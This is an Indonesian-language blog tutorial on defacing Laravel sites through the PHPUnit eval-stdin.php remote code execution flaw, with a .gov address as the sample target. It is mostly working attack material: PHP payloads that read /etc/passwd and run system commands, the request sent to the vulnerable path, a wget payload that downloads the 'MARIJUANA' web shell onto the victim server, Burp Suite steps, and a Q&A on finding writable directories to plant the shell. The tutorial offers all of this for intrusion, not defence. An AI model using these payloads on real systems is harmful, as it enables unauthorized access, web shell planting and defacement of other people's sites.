Tutorial Deface Laravel PHPUNIT RCE

 Mungkin sudah banyak tutorial ini, tapi saya akan share aja / sebagai catatan saya saja ehehe. Sebenernya ini bug bukan dari laravel nya, tapi murni dari phpunit. Disini saya share beberapa cara RCE

Langsung saja yaw~


PHPUNIT RCE menggunakan Curl

Kalian Gunakan parameter -d atau –data untuk mengirim payloadnya. Payload yang bisa digunakan. List payload yang bisa kalian gunakan

<?php system('tail /etc/passwd'); ?>
<?php echo php_uname(); ?>
<?php show_source('/etc/passwd'); ?>

Contoh command nya

"<?php system('uname -a'); ?>" https://targetkalian.gov/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php


jika seperti itu, berarti vuln untuk di RCE.

Kalo mau upload shell cukup ganti payload nya saja


"<?php system('wget https://raw.githubusercontent.com/0x5a455553/MARIJUANA/master/MARIJUANA.php'); ?>" https://targetkalian.gov/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php


PHPUNIT RCE dengan Burpsuite

cara ke dua yaitu dengan burpsuite
  1. Masuk ke burpsuite, ingat proxy nya harus ke localhost dulu yaw
  2. Masuk ke menu proxy, dan intercept nya on kan

  3. Di browser, akses target mu, contoh :
    https://targetkalian.gov/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
  4. Setelah itu, refresh target mu di browser
  5. Lalu masuk ke burpsuite nya, dan klik CTRL+R atau klik kanan lalu klik Send to repeater


  6. Masuk ke menu Repeater

  7. nah dibawah Request, masukan payload yg di atas. untuk lihat hasil nya cek di kanan( Response)

  8. Kalo mau upload shell, sama aja tinggal ganti payload nya kek tadi

Q: Pas upload shell kok di response nya malah blank?
A: Nah biasanya kalo pas nge wget/spawn shell di response nya kosong alias blank, ngecek nya cukup dengan "ls", disana ada gak shell yg kalian spawd tadi
Q: Udah gw cek kok ga ada ya shell nya?
A: Liat dulu permission dir na, writable ga? kalo permission nya seperti ini berarti gabisa upload            shell di dir sana

Q: Trus bagaimana upload shell nya kalo dir nya aja gak writable?
A: Ya kalian cari dir yg writable, bisa kalian dengan <?php system('cd ..; ls -la'); ?> atau bisa juga           dengan cek lokasi user na <?php system('pwd'); ?>
    nah kalian cek aja 1 1 dir nya, contoh <?php system('ls /var/www/html/ -la'); ?> atau <?php                system('ls /home/USERKALIAN/public_html/ -la'); ?> pokok nya sesuai yg di pwd saja
Q: udah gw cek cuman dir nya gak writable smua
A: Coba kalian cek user nya yg di rce <?php system('whoami'); ?> kalo user nya sesuai yg di dir, langsung ekse aja, atau kalian         coba buat folder <?php system('mkdir jancok'); ?>
Q: kalo user nya beda gimana? di dir nya user nya admin admin, nah pas gw cek pake whoami malah     www-data?
A: ya kalian cek lagi dir nya yg writable dengan user www-data


Okelah cukup sekian dulu, jika masih blum mengerti, silahkan komen